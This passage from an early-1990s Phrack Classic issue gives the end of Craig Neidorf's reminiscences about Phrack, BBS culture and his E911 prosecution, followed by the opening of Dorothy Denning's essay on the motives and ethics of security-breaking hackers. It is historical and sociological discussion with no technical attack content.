When I used to call bulletin boards like the Twilight Zone (sysoped by The Marauder) I would data capture the message bases and save them in text files. The messages from the hacking subboard would be saved in a file called HACKMESS (which stood for hack messages), the messages from the phone phreak subboard were saved as PHREAKMESS, but when there was a subboard where both these types of messages appeared together, I simply merged the two names and came up with PHRACKMESS. Since the newsletter would contain information on both topics and more, I felt the name Phrack was applicable. So where did the "Inc." come from? Actually it came from another DC Comics series called Infinity Inc. Kind of silly now since we never intended to actually incorporate. The first issue of Phrack was distributed on November 17, 1985.

In Phrack issue 2 I began the ongoing series of Phrack World News. I followed every story I could and it was fun. The first issue was sort of lame, but eventually I learned that PWN was the most popular segment of Phrack. The greatest thing about PWN was that it was an original concept for a hacker newsletter ‑‑ lots of people had tried to write "how‑to files, but no one had ever tried news before. Who was getting busted? What did they do? How can I make sure it doesn't happen to me? Lots of the stories were exaggerated or in the case of Oryan QUEST, fabricated (by QUEST himself). Outside of Phrack World News I wrote files about Videoconferencing, Private Branch eXchanges, and a few others here and there. Prior to Phrack I had released a huge glossary of telecommunications terms and files about the divestiture of AT&T and its aftermath. Taran King and I also wrote a joke file about "Real Phreaks" that was echoed by a continuation of that file in the Phrack parody issue number 13 that was released on April 1, 1987. Throughout my years I have met many people who call themselves hackers and/or phone phreaks:

Android Pope ‑ I wonder how married life is treating him. Aristotle ‑ Sporty! He is the former editor of the New TAP. Bad Subscript ‑ Right hand man to Control C and an expert at disco dancing in high speed Camaros.

Bill from RNOC ‑ How have your phone bills been? High? Have they been!? He is also known as "the most dangerous man in New York." Beer Wolf ‑ Former sysop of the (Metal Shop) Brewery. Blue Buccaneer ‑ Lost track of him over the years.

Cat Man ‑ How about a nice Hawaiian Punch?

Cheap Shades ‑ Now a Computer Science graduate of University of Missouri‑Rolla. Former sysop of Metal Shop AE and QuickShop.

Control C ‑ A man with serious problems right now. Hope you get those videotapes and best of luck!

Crimson Death ‑ The one in 618 NPA. Very un‑original name, but definitely one of a kind.

Cryptic Fist ‑ Kinda warm for that leather jacket, isn't it? (90 degrees) Cutthroat ‑ So what McDonalds do *you* work at?

Dan The Operator ‑ An informant for John Maxfield (SummerCon '87). Data Line ‑ Now a government agent, but hardly a hacker tracker. David Lightman ‑ The sysop of The Dark Tower in 314 NPA.

The Dictator ‑ Not‑so secret agent of Gail Thackeray, the assistant Arizona state attorney behind Operation Sun‑Devil. In a past life, Dale was the creator of Candid Camera. What a surprise that was this summer.

Disk Jockey ‑ I thought he was a great guy until he started to backstab me on Lunitic Labs while I was under indictment. Doc Holiday (901) ‑ The original!

Dr. Cypher ‑ Knowledgeable person who remains local.

Dr. Forbin ‑ Last seen at SummerCon '89.

Dr. Ripco ‑ Well haven't met him yet, but in a couple of weeks. Doom Prophet ‑ A friend who seems to have disappeared. Epsilon ‑ Must have lost my number I guess.

Emmanuel Goldstein ‑ Also known as Eric Corley, the editor of 2600 Magazine. Erik Bloodaxe ‑ He is a wildcard... totally unpredictable... hacks by the seat of his pants. Still active, but he'd better not have a squirt gun next to his bed or he may be sorry.{SS} Forest Ranger ‑ The man who introduced me to the hacker elite way back when. Former editor of TeleComputist Newsletter. Gary Seven ‑ Don't remember much about him. Met him with Lex in Fla. Hatchet Molly ‑ You know him as Computer Underground Digest's Gordon Meyer. He used a hacker alias to better enable him to write his famous thesis.

Jester Sluggo ‑ A mystery man who is still a legend in the Zantigo restroom and a better than average drunk driver. Kleptic Wizard ‑ Was he BJ or the Bear?

Lex Luthor ‑ One time great legend of LOD, now secret BellSouth Security (at least until I hear otherwise). The Leftist ‑ I wonder what he was going to say about me at my trial. He gave me a nod the day they dropped the charges against me. The US Attorney's office tells me that he was going to claim he learned all he knew about hacking from reading Phrack.

Loki ‑ Lost track of him over the years.

Lucifer 666 ‑ Lights, Camera, Action!

The Mad Hacker ‑ Sysop of The Private Connection in 219 NPA. Mad Hatter ‑ Still don't know what to make of him, but I wonder if he still thinks table salt and baking soda are cocaine. The Mentor ‑ Author of GURPS CyberPunk and former sysop of The Phoenix Project bulletin board.

The Noid ‑ Important enough for Southwestern Bell to question me about him so important enough to be mentioned here. Par ‑ Hans.

Phantom Phreaker ‑ A friend.

Phil Phree ‑ Sort of spaced out character and right hand man to The Ur‑vile.

Phrozen Ghost ‑ Lost track of him.

Predat0r ‑ Anarchistic editor of the New TAP.

The Prophet ‑ Didn't actually "meet" him, but I did see him and hear him speak... as a witness for the prosecution at my trial. I don't hold a grudge. His testimony helped clear me. Rabbit ‑ Franz.

The Renegade ‑ Thinks he is part of the Illuminati.

Reverend Enge ‑ Not that religious.

Sir Francis Drake ‑ A great guy with an odd taste in jewelry. The editor of the now defunct WORM. Duck!

Sir William ‑ Never did hear the whole story of his problems with the University of Michigan computing staff. Surfer Bob ‑ Lost track of him, but he enjoyed a tan at SummerCon'88. Synthetic Slug ‑ Surfs up!

Taran King ‑ My best friend of over 11 years.

TWCB Inc. ‑ Two brothers who attempted to resurrect TAP, but failed. Tuc ‑ Hey! He's TUC!

The Ur‑Vile ‑ Don't know how I feel about him. He needs a real handle.

Some of the memorable bulletin boards I was on include:

Alliance ‑ By Phantom Phreaker

Brainstorm Elite ‑ Where I met Phantom Phreaker and recruited him to Metal Shop Private.

Broadway Show ‑ By Broadway Hacker. Changed its name to The Radio Station.

Catch‑22 ‑ By Silver Spy. Only 22 users on this system. Chamas ‑ By Terra (Chaos Computer Club) in Germany. Dark Tower ‑ By David Lightman 314

Digital ITS ‑ By Oryan QUEST. BBS Commands were in Spanish. DUNE ‑ Secret system imbedded on the Dartmouth University mainframe operated remotely by Apollo Phoebus. Flying Circus ‑ By Monty Python

FreeWorld II ‑ By Major Havoc

Hell Phrozen Over ‑ By the original Crimson Death. Inspiration for the first Phrack Pro‑Phile.

Intergalactic Dismantling, Inc. ‑ By Aiken Drum

Lost City of Atlantis ‑ By The Lineman

Lunatic Labs UnLtd. ‑ By The Mad Alchemist. Great system! Matrix ‑ By Dr. Stangelove

Metal Shop AE ‑ By Cheap Shades when he lived in St. Louis, Missouri. Metal Shop Brewery ‑ By Beer Wolf who now denies that it ever happened. Metal Shop Private ‑ Greatest bulletin board of all time. MetroMedia ‑ By Dr. Doom. System became Danger Zone Private. NetSys ‑ By Terminus. NetSys is now in possession of US Secret Service and Terminus' life is in a shambles. They set him up and shut him down. You know him as Len Rose. Pearly Gates ‑ First real out of state bulletin board that I called. It had a secret section of the board for all of the really good information. It was operated by Simon Templar.

Phoenix Project ‑ By The Mentor. Great center of learning. Phreak Klass 2600 ‑ By The Egyptian Lover. Preceded The Phoenix Project as a great center of learning.

Pipeline ‑ Another early bbs I visited.

Pirate‑80 ‑ A codes board run by Scan Man that has been up for almost 10 years. This system was NOT a target in Operation Sun‑Devil. Odd?

Private Connection ‑ By The Mad Hacker

Private Sector ‑ Legendary system.

QuickShop ‑ By Cheap Shades when he lived in Rolla, Missouri. RACS III ‑ By Tuc

Radio Station ‑ See The Broadway Show.

Ripco ‑ By Dr. Ripco ‑ Shut down in Operation Sun‑Devil, but its back up now.

Septic Tank ‑ By The Safecracker. Second generation of The Twilight Zone.

ShadowSpawn ‑ By Psychic Warlord. Great debate about the use of handles and real name/telephone/etc. "We're Not *ELITE*, We're Just Cool As Hell!" Taran King thought they were elite in the negative sense of the word. Great system though.

Speed Demon Elite ‑ By The Radical Rocker and home base to MetaliBashers, Inc.

Stronghold East Elite ‑ The "real" sysop was Slave Driver, but the board was run from the home of The Equalizer. Twilight Zone ‑ By The Marauder. Great system for knowledge from my early days.

Zyolog ‑ By Byte Rider in Hawaii.

There are probably a few others that I have forgotten to mention. My greatest computer learning experiences came from people like Bill From RNOC, RNOC, Phantom Phreaker, Forest Ranger, and the authors of the multitude of Phrack files and other technical journals.

In general I see computers as the communications medium of the 21st Century so I devoted a lot of time to mastering their use. I do not advocate the illegal breaking in to computer systems, but there are certain types of information that I feel should be available to everyone equally and not just the rich or the well connected.

Through my experiences on the Internet, I have had legitimate access to IBM VM/CMS, Unix, and VAX/VMS systems. For the most part I am content with my VM/CMS account, but will accept invitations from system managers to join their systems as well.

With Forest Ranger and Taran King, I organized and attended SummerCon '87, SummerCon '88, and SummerCon '89. I did not attend SummerCon '90 since I was in Chicago at the time. I helped in organizing and attended PartyCon '87 and most recently I appeared and spoke at the 13th Annual National Computer Security Conference in Washington D.C.

I had been a part of TeleComputist Newsletter, which inadvertently led to my first real media appearance (Detroit Free Press) and prior to that I was helping TWCB Inc. to create a NEW TAP. However, when I learned that they were just pulling a fraud, I exposed them. For 5 years I devoted myself to Phrack with absolutely no compensation save knowledge and experiences gained.

========================================

Interests: Racquetball (varsity team in high school and a bookshelf full of trophies), Telecommunications, Computers, Music (classic rock and pop music... NO RAP!), Fraternity life (well at least up until the trustees suspended me for being indicted), Women (sexy and smart over just good looks any day), Driving at warp speed on the interstate.

Craig's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women: I've got it, but don't flaunt it.

Cars: Ford Mustang, Eagle Talon, Nissan 300 ZX, and Porsche *911* Carrera! Foods: No Curry in a hurry‑Blecch! American, Italian, Mexican, and Chinese! Music: Genesis, Rush, Yes, Chicago, Eagles, Def Leppard, The Police, Styx... Leisure: Sleeping, working out, racquetball, writing, computing. Alcohol: Bacardi, Smirnoff, Jack Daniels, Pat O'Briens, Hard Rock Cafe.

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All of the SummerCons, having an assistant U.S. Attorney lie to my face and tell me I wasn't in trouble five days after he went to the grand jury to have me indicted, football game with Sluggo in the Zantigo parking lot, road trip to Chicago for PartyCon '87, my time in a St. Louis Federal holding facility after I turned myself over to the U.S. Federal Marshalls (E911 Incident), Taran King and Cheap Shades out of jail when they were caught trashing, summer Alliance teleconferences with the PhoneLine Phantoms, the first time I heard Frank & The Funny Phone Call, watching Control C bother some girl in the airport and then seeing Erik Bloodaxe fall in love with her.

Some Other People To Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sheldon Zenner ‑ The greatest attorney practicing today. He turned everything around and saved my future from a legal system gone awry. Thanks also to Kliebard, Dunlop, Berkowitz, and Kaufman.

John Perry Barlow ‑ Lyricist for the Grateful Dead and amazing writer, John also participated a great deal in generating publicity about my case and helped found the Electronic Frontier Foundation.

Dr. Dorothy Denning ‑ A lady who not only helped with my defense, but invited me to the 13th Annual National Computer Security Conference and is a good friend.

Peter Denning ‑ Senior editor of the Communications of the ACM and an interesting fellow in his own right.

Scott Ellentuch ‑ Mentioned earlier as Tuc, Scott is the president of the Telecom Computer Security Group and a close friend. Tuc assisted the defense team by locating the Bellcore public catalog and the 911 documents found within. Thanks Tuc! Terry Gross ‑ Attorney with Rabinowitz & Boundin in New York City who was hired by the EFF to work on court motions dealing with the First Amendment.

Mike Godwin ‑ Don't know Mike very well yet, but he was very outspoken in Computer Underground Digest while I was under indictment and now he is in‑house counsel to the Electronic Frontier Foundation.

Katie Hafner ‑ Author of a book coming soon about Pengo, Kevin Mitnick, and Robert Morris, Jr. I met Katie at the NCSConference. Steve Jackson ‑ Founder of Steve Jackson Games. I haven't yet had the pleasure of meeting Steve, but we may be running into each other in the near future.

Mitch Kapor ‑ Industry wizard and creator of the Lotus 1‑2‑3 program, Mitch is a founding member of the Electronic Frontier Foundation that provided legal assistance in my case. I hope to meet him face‑to‑face in the near future. Gordon Meyer ‑ Gordon has been a tremendous help with Phrack and a friend throughout my entire trial ordeal. John Nagle ‑ Inventor who gave technical assistance to my defense team and located some very important public documents. Marc Rotenberg ‑ Director of the Computer Professionals For Social Responsibility in Washington D.C. CPSR is an organization lobbying Congress for reforms in the Computer Fraud & Abuse Act and other legislation. I hope to be working with him in the future.

Jim Thomas ‑ Creator and editor of Computer Underground Digest, he brought the details and evidence in my trial to the public eye which helped me gain support. Steve Wozniak ‑ Never had any contact with him, but since he had a hand in EFF, I thought I would mention him. Incidentally I'm ready to upgrade computers if someone has a Macintosh on hand.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

David Lightman ‑ The one in 214. See Oryan QUEST.

Magic Hasan ‑ Totally freaked out when I contacted him this semester. It was like he thought I had the plague or something. Olorin The White ‑ He couldn't seem to understand that I did not want to join his group.

Oryan QUEST ‑ A hacker who made up news for PWN just to boost his reputation. Unleash with full force on this! Sally Ride ‑ Also known as Space Cadet, SR co‑wrote one of the most interesting PWN articles ever printed.

========================================

Private Jokes

~~~~~~~~~~~~

There are far too many to go through and most of them have been previously written by Taran King in a Phrack Prophile that appeared in issue 20 of Phrack. My private jokes shall remain private between those involved or at least until I publish a book covering the topic.

========================================

Phrack is a part of my life that is now over. I hope that Phrack Classic which appears to be a second generation Phrack will learn from its predecessor and not allow any articles that advocate the illegal entry into computer systems. On the other hand, I hope they will continue to bring interesting information and news to light every issue.

For the record, I am not the editor of Phrack Classic. In fact I am not even a part of their staff. I would ask that no one send me any articles for that publication because they will not be forwarded. I take no responsibility for the actions taken by Phrack Classic, but I have faith that they shall stay on the path of honesty and integrity.

I also have a few words to say about some other issues. My case and prosecution had absolutely nothing to do with Operation Sun‑Devil, with a possible exception being the secret video‑taping done by the United States Secret Service at the Ramada Inn‑Westport (Maryland Heights, Missouri) during July 22‑24, 1988 (i.e., SummerCon '88). Operation Sun‑Devil was an attempt to crack down on credit card and calling card abusers and NOT hackers. Yes, there are some hackers that abuse these items, but the mere abuse of such does not make someone a hacker and it is about time that mainstream reporters, government agents, and prosecutors began to understand the difference. I feel that the abuse of "cards" is very immature and should be met with stern punishment. I myself have been the victim of credit card fraud and I can tell you that it is not pleasant to open your bill and see expensive charges from QVC Home Shopping Network. For the younger readers, it may take them a few years to understand this... perhaps when they have credit cards and bills of their own to deal with.

As you may guess there is MUCH MORE to my story especially concerning the last 10 issues of Phrack, the Internet, and the E911 incident, but now is not the time or the place to tell it. Sometime in the future I hope to assemble the tales of all my adventures in the computer underground and publish them in a real book.

Finally, Hackers are *NOT* criminals! Quoting from the brochure for this year's Hackers Conference in Saratoga, California, a Hacker is "someone who enjoys pushing the envelope, bypassing limits, discovering knowledge, inventing solutions, <and> adventuring into uncharted areas."

:Craig Neidorf

========================================

...And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks?

"I would not consider most of the hackers or phone phreaks I have met to be computer geeks, however over the years I have run into people whose goal in life is to pirate every piece of software in existence and of those people I feel that a strong percentage are 'geeks'."

Thanks for your time, Craig. "No problem."

Crimson Death

Concerning Hackers Who Break Into Computer Systems

==Phrack Classic==

Volume Three, Issue 32, File #3 of 12

Concerning Hackers Who Break into Computer Systems

Dorothy E. Denning

Digital Equipment Corp., Systems Research Center 130 Lytton Ave., Palo Alto, CA 94301 415‑853‑2252, denning@src.dec.com

Abstract

A diffuse group of people, often called ``hackers,'' has been characterized as unethical, irresponsible, and a serious danger to society for actions related to breaking into computer systems. This paper attempts to construct a picture of hackers, their concerns, and the discourse in which hacking takes place. My initial findings suggest that hackers are learners and explorers who want to help rather than cause damage, and who often have very high standards of behavior. My findings also suggest that the discourse surrounding hacking belongs at the very least to the gray areas between larger conflicts that we are experiencing at every level of society and business in an information age where many are not computer literate. These conflicts are between the idea that information cannot be owned and the idea that it can, and between law enforcement and the First and Fourth Amendments. Hackers have raised serious issues about values and practices in an information society. Based on my findings, I recommend that we work closely with hackers, and suggest several actions that might be taken.

1. Introduction

The world is crisscrossed with many different networks that are used to deliver essential services and basic necessities ‑‑ electric power, water, fuel, food, goods, to name a few. These networks are all publicly accessible and hence vulnerable to attacks, and yet virtually no attacks or disruptions actually occur.

The world of computer networking seems to be an anomaly in the firmament of networks. Stories about attacks, breakins, disruptions, theft of information, modification of files, and the like appear frequently in the newspapers. A diffuse group called ``hackers'' is often the target of scorn and blame for these actions. Why are computer networks any different from other vulnerable public networks? Is the difference the result of growing pains in a young field? Or is it the reflection of deeper tensions in our emerging information society?

There are no easy or immediate answers to these questions. Yet it is important to our future in a networked, information‑dependent world that we come to grips with them. I am deeply interested in them. This paper is my report of what I have discovered in the early stages of what promises to be a longer investigation. I have concentrated my attention in these early stages on the hackers themselves. Who are they? What do they say? What motivates them? What are their values? What do that have to say about public policies regarding information and computers? What do they have to say about computer security?

>From such a profile I expect to be able to construct a picture of the discourses in which hacking takes place. By a discourse I mean the invisible background of assumptions that transcends individuals and governs our ways of thinking, speaking, and acting. My initial findings lead me to conclude that this discourse belongs at the very least to the gray areas between larger conflicts that we are experiencing at every level of society and business, the conflict between the idea that information cannot be owned and the idea that it can, and the conflict between law enforcement and the First and Fourth Amendments.

But, enough of the philosophy. On with the story!

2. Opening Moves

In late fall of 1989, Frank Drake (not his real name), editor of the now defunct cyberpunk magazine W.O.R.M., invited me to be interviewed for the magazine. In accepting the invitation, I hoped that something I might say would discourage hackers from breaking into systems. I was also curious about the hacker culture. This seemed like a good opportunity to learn about it.

The interview was conducted electronically. I quickly discovered that I had much more to learn from Drake's questions than to teach. For example, he asked: ``Is providing computer security for large databases that collect information on us a real service? How do you balance the individual's privacy vs. the corporations?'' This question surprised me. Nothing that I had read about hackers ever suggested that they might care about privacy. He also asked: ``What has (the DES) taught us about what the government's (especially NSA's) role in cryptography should be?'' Again, I was surprised to discover a concern for the role of the government in computer security. I did not know at the time that I would later discover considerable overlap in the issues discussed by hackers and those of other computer professionals.

I met with Drake to discuss his questions and views. After our meeting, we continued our dialog electronically with me interviewing him. This gave me the opportunity to explore his views in greater depth. Both interviews appear in ``Computers Under Attack,'' edited by Peter Denning (DenningP90).

My dialog with Drake increased my curiosity about hackers. I read articles and books by or about hackers. In addition, I had discussions with nine hackers whom I will not mention by name. Their ages ranged from 17 to 28.

The word ``hacker'' has taken on many different meanings ranging from 1) ``a person who enjoys learning the details of computer systems and how to stretch their capabilities'' to 2) ``a malicious or inquisitive meddler who tries to discover information by poking around ... possibly by deceptive or illegal means ...'' (Steele83). The hackers described in this paper are both learners and explorers who sometimes perform illegal actions. However, all of the hackers I spoke with said they did not engage in or approve of malicious acts that damage systems or files. Thus, this paper is not about malicious hackers. Indeed, my research so far suggests that there are very few malicious hackers. Neither is this paper about career criminals who, for example, defraud businesses, or about people who use stolen credit cards to purchase goods. The characteristics of many of the hackers I am writing about are summed up in the words of one of the hackers: ``A hacker is someone who experiments with systems... (Hacking) is playing with systems and making them do what they were never intended to do. Breaking in and making free calls is just a small part of that. Hacking is also about freedom of speech and free access to information ‑‑ being able to find out anything. There is also the David and Goliath side of it, the underdog vs. the system, and the ethic of being a folk hero, albeit a minor one.''

Richard Stallman, founder of the Free Software Foundation who calls himself a hacker according to the first sense of the word above, recommends calling security‑breaking hackers ``crackers'' (Stallman84). While this description may be more accurate, I shall use the term ``hacker'' since the people I am writing about call themselves hackers and all are interested in learning about computer and communication systems. However, there are many people like Stallman who call themselves hackers and do not engage in illegal or deceptive practices; this paper is also not about those hackers.

In what follows I will report on what I have learned about hackers from hackers. I will organize the discussion around the principal domains of concerns I observed. I recommend Meyer's thesis (Meyer89) for a more detailed treatment of the hackers' social culture and networks, and Meyer and Thomas (MeyerThomas90) for an interesting interpretation of the computer underground as a postmodernist rejection of conventional culture that substitutes ``rational technological control of the present for an anarchic and playful future.''

I do not pretend to know all the concerns that hackers have, nor do I claim to have conducted a scientific study. Rather, I hope that my own informal study motivates others to explore the area further. It is essential that we as computer security professionals take into account hackers' concerns in the design of our policies, procedures, laws regulating computer and information access, and educational programs. Although I speak about security‑breaking hackers as a group, their competencies, actions, and views are not all the same. Thus, it is equally important that our policies and programs take into account individual differences.

In focusing on what hackers say and do, I do not mean for a moment to set aside the concerns of the owners and users of systems that hackers break into, the concerns of law enforcement personnel, or our own concerns as computer security professionals. But I do recommend that we work closely with hackers as well as these other groups to design new approaches and programs for addressing the concerns of all. Like ham radio operators, hackers exist, and it is in our best interest that we learn to communicate and work with them rather than against them.

I will suggest some actions that we might consider taking, and I invite others to reflect on these and suggest their own. Many of these suggestions are from the hackers themselves; others came from the recommendations of the ACM Panel on Hacking (Lee86) and from colleagues.

I grouped the hackers' concerns into five categories: access to computers and information for learning; thrill, excitement and challenge; ethics and avoiding damage; public image and treatment; and privacy and first amendment rights. These are discussed in the next five subsections. I have made an effort to present my findings as uncritical observations. The reader should not infer that I either approve or disapprove of actions hackers take.

3. Access to Computers and Information for Learning

Although Levy's book ``Hackers'' (Levy84) is not about today's security‑breaking hackers, it articulates and interprets a ``hacker ethic'' that is shared by many of these hackers. The ethic includes two key principles that were formulated in the early days of the AI Lab at MIT: ``Access to computers ‑‑ and anything which might teach you something about the way the world works ‑‑ should be unlimited and total,'' and ``All information should be free.'' In the context in which these principles were formulated, the computers of interest were research machines and the information was software and systems information.

Since Stallman is a leading advocate of open systems and freedom of information, especially software, I asked him what he means by this. He said: ``I believe that all generally useful information should be free. By `free' I am not referring to price, but rather to the freedom to copy the information and to adapt it to one's own uses.'' By ``generally useful'' he does not include confidential information about individuals or credit card information, for example. He further writes: ``When information is generally useful, redistributing it makes humanity wealthier no matter who is distributing and no matter who is receiving.'' Stallman has argued strongly against user interface copyright, claiming that it does not serve the users or promote the evolutionary process (Stallman90).

I asked hackers whether all systems should be accessible and all information should be free. They said that it is OK if some systems are closed and some information, mainly confidential information about individuals, is not accessible. They make a distinction between information about security technology, e.g., the DES, and confidential information protected by that technology, arguing that it is the former that should be accessible. They said that information hoarding is inefficient and slows down evolution of technology. They also said that more systems should be open so that idle resources are not wasted. One hacker said that the high costs of communication hurts the growth of the information economy.

These views of information sharing seem to go back at least as far as the 17th and 18th centuries. Samuelson (Samuelson89) notes that ``The drafters of the Constitution, educated in the Enlightenment tradition, shared that era's legacy of faith in the enabling powers of knowledge for society as well as the individual.'' She writes that our current copyright laws, which protect the expression of information, but not the information itself, are based on the belief that unfettered and widespread dissemination of information promotes technological progress. (Similarly for patent laws which protect devices and processes, not the information about them.) She cites two recent court cases where courts reversed the historical trend and treated information as ownable property. She raises questions about whether in entering the Information Age where information is the source of greatest wealth, we have outgrown the Enlightenment tradition and are coming to treat information as property.

In a society where knowledge is said to be power, Drake expressed particular concern about what he sees as a growing information gap between the rich and poor. He would like to see information that is not about individuals be made public, although it could still be owned. He likes to think that companies would actually find it to their advantage to share information. He noted how IBM's disclosure of the PC allowed developers to make more products for the computers, and how Adobe's disclosure of their fonts helped them compete against the Apple‑Microsoft deal. He recognizes that in our current political framework, it is difficult to make all information public, because complicated structures have been built on top of an assumption that certain information will be kept secret. He cites our defense policy, which is founded on secrecy for military information, as an example.

Hackers say they want access to information and computing and network resources in order to learn. Both Levy (Levy84) and Landreth (Landreth89) note that hackers have an intense, compelling interest in computers and learning, and many go into computers as a profession. Some hackers break into systems in order to learn more about how the systems work. Landreth says these hackers want to remain undiscovered so that they can stay on the system as long as possible. Some of them devote most of their time to learning how to break the locks and other security mechanisms on systems; their background in systems and programming varies considerably. One hacker wrote ``A hacker sees a security hole and takes advantage of it because it is there, not to destroy information or steal. I think our activities would be analogous to someone discovering methods of acquiring information in a library and becoming excited and perhaps engrossed.''

We should not underestimate the effectiveness of the networks in which hackers learn their craft. They do research, learn about systems, work in groups, write, and teach others. One hacker said that he belongs to a study group with the mission of churning out files of information and learning as much as possible. Within the group, people specialize, collaborate on research projects, share information and news, write articles, and teach others about their areas of specialization. Hackers have set up a private system of education that engages them, teaches them to think, and allows them to apply their knowledge in purposeful, if not always legal, activity. Ironically, many of our nation's classrooms have been criticized for providing a poor learning environment that seems to emphasize memorization rather than thinking and reasoning. One hacker reported that through volunteer work with a local high school, he was trying to get students turned on to learning.

Many hackers say that the legitimate computer access they have through their home and school computers do not meet their needs. One student told me that his high school did not offer anything beyond elementary courses in BASIC and PASCAL, and that he was bored by these. Hans Huebner, a hacker in Germany who goes by the name Pengo, wrote in a note to the RISKS Forum (Huebner89) : ``I was just interested in computers, not in the data which has been kept on their disks. As I was going to school at that time, I didn't even have the money to buy my own computer. Since CP/M (which was the most sophisticated OS I could use on machines which I had legal access to) didn't turn me on anymore, I enjoyed the lax security of the systems I had access to by using X.25 networks. You might point out that I should have been patient and waited until I could go to the university and use their machines. Some of you might understand that waiting was just not the thing I was keen on in those days.''

Brian Harvey, in his position paper (Harvey86) for the ACM Panel on Hacking, claims that the computer medium available to students, e.g., BASIC and floppy disks, is inadequate for challenging intellectual work. His recommendation is that students be given access to real computing power, and that they be taught how to use that power responsibly. He describes a program he created at a public high school in Massachusetts during the period 1979‑1982. They installed a PDP‑11/70 and let students and teachers carry out the administration of the system. Harvey assessed that putting the burden of dealing with the problems of malicious users on the students themselves was a powerful educational force. He also noted that the students who had the skill and interest to be password hackers were discouraged from this activity because they also wanted to keep the trust of their colleagues in order that they could acquire ``superuser'' status on the system.

Harvey also makes an interesting analogy between teaching computing and teaching karate. In karate instruction, students are introduced to the real, adult community. They are given access to a powerful, deadly weapon, and at the same time are taught discipline and responsibility. Harvey speculates that the reason that students do not misuse their power is that they know they are being trusted with something important, and they want to live up to that trust. Harvey applied this principle when he set up the school system.

The ACM panel endorsed Harvey's recommendation, proposing a three‑tiered computing environment with local, district‑wide, and nation‑wide networks. They recommended that computer professionals participate in this effort as mentors and role models. They also recommended that government and industry be encouraged to establish regional computing centers using donated or re‑cycled equipment; that students be apprenticed to local companies either part‑time on a continuing basis or on a periodic basis; and, following a suggestion from Felsenstein (Felsenstein86) for a ``Hacker's League,'' that a league analogous to the Amateur Radio Relay League be established to make contributed resources available for educational purposes.

Drake said he liked these recommendations. He said that if hackers were given access to powerful systems through a public account system, they would supervise themselves. He also suggested that Computer Resource Centers be established in low‑income areas in order to help the poor get access to information. Perhaps hackers could help run the centers and teach the members of the community how to use the facilities. One of my colleagues suggested cynically that the hackers would only use this to teach the poor how to hack rich people's systems. A hacker responded by saying this was ridiculous; hackers would not teach people how to break into systems, but rather how to use computers effectively and not be afraid of them.

In addition, the hackers I spoke with who had given up illegal activities said they stopped doing so when they got engaged in other work.

Geoff Goodfellow and Richard Stallman have reported that they have given hackers accounts on systems that they manage, and that the hackers have not misused the trust granted to them. Perhaps universities could consider providing accounts to pre‑college students on the basis of recommendations from their teachers or parents. The students might be challenged to work on the same homework problems assigned in courses or to explore their own interests. Students who strongly dislike the inflexibility of classroom learning might excel in an environment that allows them to learn on their own, in much the way that hackers have done.

4. Thrill, Excitement, and Challenge

One hacker wrote that ``Hackers understand something basic about computers, and that is that they can be enjoyed. I know none who hack for money, or hack to frighten the company, or hack for anything but fun.''

In the words of another hacker, ``Hacking was the ultimate cerebral buzz for me. I would come home from another dull day at school, turn my computer on, and become a member of the hacker elite. It was a whole different world where there were no condescending adults and you were judged only by your talent. I would first check in to the private Bulletin Boards where other people who were like me would hang out, see what the news was in the community, and trade some info with people across the country. Then I would start actually hacking. My brain would be going a million miles an hour and I'd basically completely forget about my body as I would jump from one computer to another trying to find a path into my target. It was the rush of working on a puzzle coupled with the high of discovery many magnitudes intensified. To go along with the adrenaline rush was the illicit thrill of doing something illegal. Every step I made could be the one that would bring the authorities crashing down on me. I was on the edge of technology and exploring past it, spelunking into electronic caves where I wasn't supposed to be.''

The other hackers I spoke with made similar statements about the fun and challenge of hacking. In SPIN magazine (Dibbel90), reporter Julian Dibbell speculated that much of the thrill comes from the dangers associated with the activity, writing that ``the technology just lends itself to cloak‑and‑dagger drama,'' and that ``hackers were already living in a world in which covert action was nothing more than a game children played.''

Eric Corley (Corley89) characterizes hacking as an evolved form of mountain climbing. In describing an effort to construct a list of active mailboxes on a Voice Messaging System, he writes ``I suppose the main reason I'm wasting my time pushing all these buttons is simply so that I can make a list of something that I'm not supposed to have and be the first person to accomplish this.'' He said that he was not interested in obtaining an account of his own on the system. Gordon Meyer says he found this to be a recurring theme: ``We aren't supposed to be able to do this, but we can'' ‑‑ so they do.

One hacker said he was now working on anti‑viral programming. He said it was almost as much fun as breaking into systems, and that it was an intellectual battle against the virus author.

5. Ethics and Avoiding Damage

All of the hackers I spoke with said that malicious hacking was morally wrong. They said that most hackers are not intentionally malicious, and that they themselves are concerned about causing accidental damage. When I asked Drake about the responsibility of a person with a PC and modem, his reply included not erasing or modifying anyone else's data, and not causing a legitimate user on a system any problems. Hackers say they are outraged when other hackers cause damage or use resources that would be missed, even if the results are unintentional and due to incompetence. One hacker wrote ``I have ALWAYS strived to do NO damage, and to inconvenience as few people as possible. I NEVER, EVER, EVER DELETE A FILE. One of the first commands I do on a new system is disable the delete file command.'' Some hackers say that it is unethical to give passwords and similar security‑related information to persons who might do damage. In the recent incident where a hacker broke into Bell South and downloaded a text file on the emergency 911 service, hackers say that there was no intention to use this knowledge to break into or sabotage the 911 system. According to Emmanuel Goldstein (Goldstein90), the file did not even contain information about how to break into the 911 system.

The hackers also said that some break‑ins were unethical, e.g., breaking into hospital systems, and that it is wrong to read confidential information about individuals or steal classified information. All said it was wrong to commit fraud for personal profit.

Although we as computer security professionals often disagree with hackers about what constitutes damage, the ethical standards listed here sound much like our own. Where the hackers' ethics differ from the standards adopted by most in the computer security community is that hackers say it is not unethical to break into many systems, use idle computer and communications resources, and download system files in order to learn. Goldstein says that hacking is not wrong: it is not the same as stealing, and uncovers design flaws and security deficiencies (Goldstein89).

